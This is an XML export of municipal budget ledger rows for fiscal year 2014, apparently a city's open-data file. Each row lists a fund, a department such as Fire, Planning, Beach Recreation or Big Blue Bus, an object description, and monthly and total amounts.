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<row _id="10151"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>313</division_id><division_name>FIRE SUPPRESSION AND RESCUE</division_name><object>511772.0</object><object_description>RETIREMENT - FIRE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>4317313.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>-504892</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3812421.0</total></row>
<row _id="10152"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>314</division_id><division_name>FIRE PREVENTION</division_name><object>511772.0</object><object_description>RETIREMENT - FIRE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>379327.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>-47983</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>331344.0</total></row>
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<row _id="10154"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>202</division_id><division_name>CITY MANAGER - ADMINISTRATION</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>171884.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>4167.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>176051.0</total></row>
<row _id="10155"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>266</division_id><division_name>CITY PLANNING/DEVELOPMENT REV.</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>332015.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>332015.0</total></row>
<row _id="10156"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>266</division_id><division_name>CITY PLANNING/DEVELOPMENT REV.</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>36462.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>36462.0</total></row>
<row _id="10157"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>266</division_id><division_name>CITY PLANNING/DEVELOPMENT REV.</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>429730.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>6640</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>436370.0</total></row>
<row _id="10158"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>46852.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>46852.0</total></row>
<row _id="10159"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>307</division_id><division_name>CRIMINAL INVESTIGATION DIV</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>9975.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>9975.0</total></row>
<row _id="10160"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>578200.0</object><object_description>AIRPORT REIMBURSEMENT FOR SBDC</object_description><category_code>910.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>30764.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>30764.0</total></row>
<row _id="10161"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>43</fund_id><fund_name>Gas Tax Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>522150.0</object><object_description>STORMWATER MANAGEMENT</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1400.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1400.0</total></row>
<row _id="10162"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>401311.0</object><object_description>CONTRACT CLASSES</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-918000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-918000.0</total></row>
<row _id="10163"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>34</fund_id><fund_name>Stormwater Management Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>522180.0</object><object_description>BANK FEES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>323.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>323.0</total></row>
<row _id="10164"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>100</department_id><department_name>CITY COUNCIL</department_name><division_id>201</division_id><division_name>CITY COUNCIL</division_name><object>533650.0</object><object_description>CONF / MTGS / TRAVEL-TV</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>7140.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>7140.0</total></row>
<row _id="10165"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>7500.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>7500.0</total></row>
<row _id="10166"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1100.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1100.0</total></row>
<row _id="10167"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>401200.0</object><object_description>FIELD PERMITS</object_description><category_code>618.0</category_code><category_code_description>Rentals</category_code_description><fiscal_year>2014</fiscal_year><july>-220548.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-220548.0</total></row>
<row _id="10168"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>263</division_id><division_name>ADMINISTRATION &amp; REDEVELOPMENT</division_name><object>400771.0</object><object_description>OUTDOOR DINING REVENUE</object_description><category_code>618.0</category_code><category_code_description>Rentals</category_code_description><fiscal_year>2014</fiscal_year><july>-508645.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-508645.0</total></row>
<row _id="10169"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>522</division_id><division_name>BEACH ADMINISTRATION</division_name><object>400580.0</object><object_description>FILMING PERMITS</object_description><category_code>608.0</category_code><category_code_description>Licenses and Permits</category_code_description><fiscal_year>2014</fiscal_year><july>-87911.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-87911.0</total></row>
<row _id="10170"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>522</division_id><division_name>BEACH ADMINISTRATION</division_name><object>400750.0</object><object_description>INT DEP / INVESTMENT</object_description><category_code>616.0</category_code><category_code_description>Investment Income</category_code_description><fiscal_year>2014</fiscal_year><july>-58000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-58000.0</total></row>
<row _id="10171"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>522</division_id><division_name>BEACH ADMINISTRATION</division_name><object>401810.0</object><object_description>ENCROACHMENT REVENUE</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2014</fiscal_year><july>-118000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-118000.0</total></row>
<row _id="10172"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>140</department_id><department_name>CITY ATTORNEY</department_name><division_id>231</division_id><division_name>CITY ATTORNEY</division_name><object>522950.0</object><object_description>CNG FUEL</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>105.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>105.0</total></row>
<row _id="10173"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>400950.0</object><object_description>MOUNTAIN VIEW LEASE REVENUE</object_description><category_code>618.0</category_code><category_code_description>Rentals</category_code_description><fiscal_year>2014</fiscal_year><july>-356000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-356000.0</total></row>
<row _id="10174"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>34</fund_id><fund_name>Stormwater Management Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>577880.0</object><object_description>SMURRF O&amp;M COSTS</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>444338.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>444338.0</total></row>
<row _id="10175"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>577890.0</object><object_description>MWD RECYCLED WATER REBATE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>18401.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>18401.0</total></row>
<row _id="10176"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>570130.0</object><object_description>GF/SPEC FD REIM. AHPP DEV FEE</object_description><category_code>908.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>-100000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-100000.0</total></row>
<row _id="10177"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>4</fund_id><fund_name>Special Revenue Source Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>404400.0</object><object_description>AFFORD HSING PROD PRGM DEVELOP</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2014</fiscal_year><july>-300000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>-475017.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-775017.0</total></row>
<row _id="10178"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>523000.0</object><object_description>VEHICLE MGMT FUND-MAINTENANCE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1804.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1804.0</total></row>
<row _id="10179"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>544010.0</object><object_description>SPECIAL DEPARTMENT SUPPLIES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>30522.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>30522.0</total></row>
<row _id="10180"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>640</division_id><division_name>TRANSIT EXECUTIVE</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>2832700.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>750000.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3582700.0</total></row>
<row _id="10181"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>401070.0</object><object_description>TENNIS RESERVATIONS</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-235263.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-235263.0</total></row>
<row _id="10182"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>522</division_id><division_name>BEACH ADMINISTRATION</division_name><object>400770.0</object><object_description>LEASE RENTAL REV-BEACH CLUB</object_description><category_code>618.0</category_code><category_code_description>Rentals</category_code_description><fiscal_year>2014</fiscal_year><july>-289614.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>-120208</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-409822.0</total></row>
<row _id="10183"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>616</division_id><division_name>PUBLIC AND BRANCH SERVICES</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>2172.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2172.0</total></row>
<row _id="10184"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>522</division_id><division_name>BEACH ADMINISTRATION</division_name><object>401260.0</object><object_description>BEACH PARKING</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-9653422.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-9653422.0</total></row>
<row _id="10185"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>522910.0</object><object_description>VEHICLES - FUELS / LUBRICATION</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>27.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>27.0</total></row>
<row _id="10186"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>96440.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>96440.0</total></row>
<row _id="10187"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>643</division_id><division_name>TRANSIT GOV&amp;COMUNITY RELATIONS</division_name><object>522315.0</object><object_description>MULTIMEDIA</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>13633.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>13633.0</total></row>
<row _id="10188"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>643</division_id><division_name>TRANSIT GOV&amp;COMUNITY RELATIONS</division_name><object>544119.0</object><object_description>PUBLIC RELATIONS SVC.</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>20000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>20000.0</total></row>
<row _id="10189"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>522114.0</object><object_description>UTIL-LIGHT/POWER-PARKING AUTH</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>98954.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>98954.0</total></row>
<row _id="10190"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>4</fund_id><fund_name>Special Revenue Source Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>263</division_id><division_name>ADMINISTRATION &amp; REDEVELOPMENT</division_name><object>407320.0</object><object_description>MALL PARKING LEVY</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2014</fiscal_year><july>-605918.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-605918.0</total></row>
<row _id="10191"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>407410.0</object><object_description>CONSTRUCTION &amp; DEMOLITION</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-285000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-285000.0</total></row>
<row _id="10192"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>263</division_id><division_name>ADMINISTRATION &amp; REDEVELOPMENT</division_name><object>400790.0</object><object_description>OUTDOOR DINING-TRANSIT MALL AR</object_description><category_code>618.0</category_code><category_code_description>Rentals</category_code_description><fiscal_year>2014</fiscal_year><july>-71939.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-71939.0</total></row>
<row _id="10193"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>7872.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>425.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>8297.0</total></row>
<row _id="10194"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>26910.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>26910.0</total></row>
<row _id="10195"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>43393.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>43393.0</total></row>
<row _id="10196"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>48374.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>48374.0</total></row>
<row _id="10197"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>66504.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>66504.0</total></row>
<row _id="10198"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>487311.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>487311.0</total></row>
